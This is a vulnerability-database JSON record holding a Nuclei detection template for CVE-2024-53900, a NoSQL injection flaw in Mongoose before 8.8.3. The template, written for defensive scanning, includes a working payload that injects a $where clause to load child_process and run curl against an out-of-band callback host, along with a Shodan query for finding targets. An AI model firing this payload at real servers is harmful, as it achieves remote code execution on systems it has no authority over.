{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-53900/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-53900/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-53900/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-53900/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-53900/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-53900"},"sightings":{"href":"/api/v1/sightings/cve-2024-53900"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-53900.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-53900\n\ninfo:\n  name: Mongoose < 8.8.3 - Remote Code Execution\n  author: h4mg\n  severity: critical\n  description: |\n    Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code by exploiting NoSQL injection in the $where clause, allowing remote code execution via crafted query parameters.\n  remediation: |\n    Update Mongoose to version 8.8.3 or later to address the NoSQL injection vulnerability.\n  reference:\n    - https://github.com/Automattic/mongoose/commit/c9e86bff7eef477da75a29af62a06d41a835a156\n    - https://github.com/advisories/GHSA-m7xq-9374-9rvx\n    - https://www.youtube.com/watch?v=WX_N1NGPbug\n    - https://github.com/Automattic/mongoose/blob/master/CHANGELOG.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-53900\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2024-53900\n    cwe-id: CWE-89\n    epss-score: 0.03981\n    epss-percentile: 0.90521\n  metadata:\n    verified: true\n    max-request: 1\n    product: mongoose\n    framework: nodejs\n    shodan-query: \"Server: Mongoose\"\n  tags: cve,cve2024,rce,mongoose,nosql,nodejs,oast,vkev,vuln\n\nvariables:\n  pfield: \"author\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}?view[path]={{pfield}}&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('curl {{interactsh-url}}')\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(interactsh_protocol, \"http\")'\n          - 'contains(interactsh_request, \"User-Agent: curl\")'\n        condition: and\n# digest: 4a0a00473045022034efc42cb19db45ec235c68f310bca30ebf17281ffdf6489011459f5d53dc139022100af5c0a7ebe9ed785c120791b41fab29389b3950b7a388a6049aec72383242c1a:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-53900"}